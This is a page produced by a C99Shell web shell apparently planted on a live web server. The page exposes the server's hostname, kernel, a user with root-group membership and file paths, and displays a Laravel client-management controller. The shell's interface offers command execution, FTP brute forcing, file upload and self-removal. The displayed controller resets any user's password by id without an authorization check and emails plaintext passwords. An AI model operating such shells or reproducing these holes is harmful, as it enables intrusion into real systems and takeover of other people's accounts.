!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientController.php (13.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\ClientDeal;
use 
App\Models\ClientPermission;
use 
App\Models\Contract;
use 
App\Models\CustomField;
use 
App\Models\Estimation;
use 
App\Models\Invoice;
use 
App\Models\Plan;
use 
App\Models\User;
use 
App\Models\Utility;
use 
http\Client;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Mail;
use 
Spatie\Permission\Models\Role;

class 
ClientController extends Controller
{
    public function 
__construct()
    {
        
$this->middleware(
            [
                
'auth',
                
'XSS',
            ]
        );
    }

    public function 
index()
    {
        if(
\Auth::user()->can('manage client'))
        {
            
$user    \Auth::user();
            
$clients User::where('created_by''='$user->creatorId())->where('type''=''client')->get();

            return 
view('clients.index'compact('clients'));
        }
        else
        {

            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
create(Request $request)
    {

        if(
\Auth::user()->can('create client'))
        {
            if(
$request->ajax)
            {
                return 
view('clients.createAjax');
            }
            else
            {
                
$customFields CustomField::where('module''=''client')->get();

                return 
view('clients.create'compact('customFields'));
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission Denied.')], 401);
        }
    }

    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create client'))
        {
            
$default_language DB::table('settings')->select('value')->where('name''default_language')->where('created_by''='\Auth::user()->creatorId())->first();

            
$user      \Auth::user();
            
$validator \Validator::make(
                
$request->all(), [
                    
'name' => 'required',
                    
'email' => 'required|email|unique:users',
                ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();
                if(
$request->ajax)
                {
                    return 
response()->json(['error' => $messages->first()], 401);
                }
                else
                {
                    return 
redirect()->back()->with('error'$messages->first());
                }
            }

            
$enableLogin       0;
            if(!empty(
$request->password_switch) && $request->password_switch == 'on')
            {
                
$enableLogin   1;
                
$validator \Validator::make(
                    
$request->all(), ['password' => 'required|min:6']
                );

                if(
$validator->fails())
                {
                    return 
redirect()->back()->with('error'$validator->errors()->first());
                }
            }
            
$userpassword               $request->input('password');

            
$objCustomer    \Auth::user();
            
$creator        User::find($objCustomer->creatorId());
            
$total_client User::where('created_by''='\Auth::user()->creatorId())->where('type','client')->count();

            
$plan           Plan::find($creator->plan);


                
$total_clientsUser::where('type''client')->where('created_by',\Auth::user()->creatorId())->count();
                
$total_clients=$total_clients==0?0:$total_clients 1;
                
$userPlan \App\Models\Plan::getPlan(\Auth::user()->show_dashboard());

                if (
$userPlan && $userPlan->max_clients != -&&  $plan->max_clients $total_clients) {

                    return 
redirect()->back()->with('error'__('Your client limit is over, Please upgrade plan.'));
                }


                
$role Role::findByName('client');
                
$client User::create(
                    [
                        
'name' => $request->name,
                        
'email' => $request->email,
                        
'job_title' => $request->job_title,
                        
'password' => !empty($userpassword) ? \Hash::make($userpassword) : null,
                        
'type' => 'client',
                        
'lang' => !empty($default_language) ? $default_language->value 'en',
                        
'created_by' => $user->creatorId(),
                        
'email_verified_at' => date('Y-m-d H:i:s'),
                        
'is_enable_login' => $enableLogin,
                    ]
                );

                
//Send Email
                
$setings Utility::settings();

                if(
$setings['new_client'] == 1)
                {
                    
$role_r Role::findByName('client');
                    
$client->assignRole($role_r);
                    
$client->password $request->password;

                    
$clientArr = [
                        
'client_name' => $client->name,
                        
'client_email' => $client->email,
                        
'client_password' =>  $client->password,
                    ];
                    
$resp Utility::sendEmailTemplate('new_client', [$client->email], $clientArr);
                    return 
redirect()->route('clients.index')->with('success'__('Client successfully added.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));
                }
                return 
redirect()->route('clients.index')->with('success'__('Client successfully created.'));
        }
        else
        {
            if(
$request->ajax)
            {
                return 
response()->json(['error' => __('Permission Denied.')], 401);
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission Denied.'));
            }
        }
    }

    public function 
show(User $client)
    {
        
$usr Auth::user();
        if(!empty(
$client) && $usr->id == $client->creatorId() && $client->id != $usr->id && $client->type == 'client')
        {
            
// For Estimations
            
$estimations $client->clientEstimations()->orderByDesc('id')->get();
            
$curr_month  $client->clientEstimations()->whereMonth('issue_date''='date('m'))->get();
            
$curr_week   $client->clientEstimations()->whereBetween(
                
'issue_date', [
                                
\Carbon\Carbon::now()->startOfWeek(),
                                
\Carbon\Carbon::now()->endOfWeek(),
                            ]
            )->
get();
            
$last_30days $client->clientEstimations()->whereDate('issue_date''>'\Carbon\Carbon::now()->subDays(30))->get();
            
// Estimation Summary
            
$cnt_estimation                = [];
            
$cnt_estimation['total']       = Estimation::getEstimationSummary($estimations);
            
$cnt_estimation['this_month']  = Estimation::getEstimationSummary($curr_month);
            
$cnt_estimation['this_week']   = Estimation::getEstimationSummary($curr_week);
            
$cnt_estimation['last_30days'] = Estimation::getEstimationSummary($last_30days);

            
$cnt_estimation['cnt_total']       = $estimations->count();
            
$cnt_estimation['cnt_this_month']  = $curr_month->count();
            
$cnt_estimation['cnt_this_week']   = $curr_week->count();
            
$cnt_estimation['cnt_last_30days'] = $last_30days->count();

            
// For Contracts
            
$contracts   $client->clientContracts()->orderByDesc('id')->get();
            
$curr_month  $client->clientContracts()->whereMonth('start_date''='date('m'))->get();
            
$curr_week   $client->clientContracts()->whereBetween(
                
'start_date', [
                                
\Carbon\Carbon::now()->startOfWeek(),
                                
\Carbon\Carbon::now()->endOfWeek(),
                            ]
            )->
get();
            
$last_30days $client->clientContracts()->whereDate('start_date''>'\Carbon\Carbon::now()->subDays(30))->get();

            
// Contracts Summary
            
$cnt_contract                = [];
            
$cnt_contract['total']       = Contract::getContractSummary($contracts);
            
$cnt_contract['this_month']  = Contract::getContractSummary($curr_month);
            
$cnt_contract['this_week']   = Contract::getContractSummary($curr_week);
            
$cnt_contract['last_30days'] = Contract::getContractSummary($last_30days);

            
$cnt_contract['cnt_total']       = $contracts->count();
            
$cnt_contract['cnt_this_month']  = $curr_month->count();
            
$cnt_contract['cnt_this_week']   = $curr_week->count();
            
$cnt_contract['cnt_last_30days'] = $last_30days->count();

            return 
view('clients.show'compact('client''estimations''cnt_estimation''contracts''cnt_contract'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
edit(User $client)
    {
        if(
\Auth::user()->can('edit client'))
        {
            
$user \Auth::user();
            if(
$client->created_by == $user->creatorId())
            {
                
$client->customField CustomField::getData($client'client');
                
$customFields        CustomField::where('module''=''client')->get();

                return 
view('clients.edit'compact('client''customFields'));
            }
            else
            {
                return 
response()->json(['error' => __('Invalid Client.')], 401);
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission Denied.')], 401);
        }
    }

    public function 
update(User $clientRequest $request)
    {
        if(
\Auth::user()->can('edit client'))
        {
            
$user \Auth::user();
            if(
$client->created_by == $user->creatorId())
            {
                
$validation = [
                    
'name' => 'required',
                    
'email' => 'required|email|unique:users,email,' $client->id,
                ];

                
$post         = [];
                
$post['name'] = $request->name;
                if(!empty(
$request->password))
                {
                    
$validation['password'] = 'required';
                    
$post['password']       = Hash::make($request->password);
                }

                
$validator \Validator::make($request->all(), $validation);
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }
                
$post['email'] = $request->email;

                
$client->update($post);

                
CustomField::saveData($client$request->customField);

                return 
redirect()->back()->with('success'__('Client Updated Successfully!'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Invalid Client.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
destroy(User $client)
    {
        
$user \Auth::user();
            if(
$client->created_by == $user->creatorId())
            {
                
$estimation Estimation::where('client_id''='$client->id)->first();
                if(empty(
$estimation))
                {
                  
/*  ClientDeal::where('client_id', '=', $client->id)->delete();
                    ClientPermission::where('client_id', '=', $client->id)->delete();*/
                    
$client->delete();
                    return 
redirect()->back()->with('success'__('Client Deleted Successfully!'));
                }
                else
                {
                    return 
redirect()->back()->with('error'__('This client has assigned some estimation.'));
                }
            }
            else
            {
                return 
redirect()->back()->with('error'__('Invalid Client.'));
            }
        }

    public function 
clientPassword($id)
    {
        
$eId        \Crypt::decrypt($id);
        
$user User::find($eId);
        
$client User::where('created_by''='$user->creatorId())->where('type''=''client')->first();


        return 
view('clients.reset'compact('user''client'));
    }

    public function 
clientPasswordReset(Request $request$id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                               
'password' => 'required|confirmed|same:password_confirmation',
                           ]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }


        
$user                 User::where('id'$id)->first();
        
$user->forceFill([
                             
'password' => Hash::make($request->password),
                         ])->
save();

        return 
redirect()->route('clients.index')->with(
            
'success''Client Password successfully updated.'
        
);


    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0185 ]--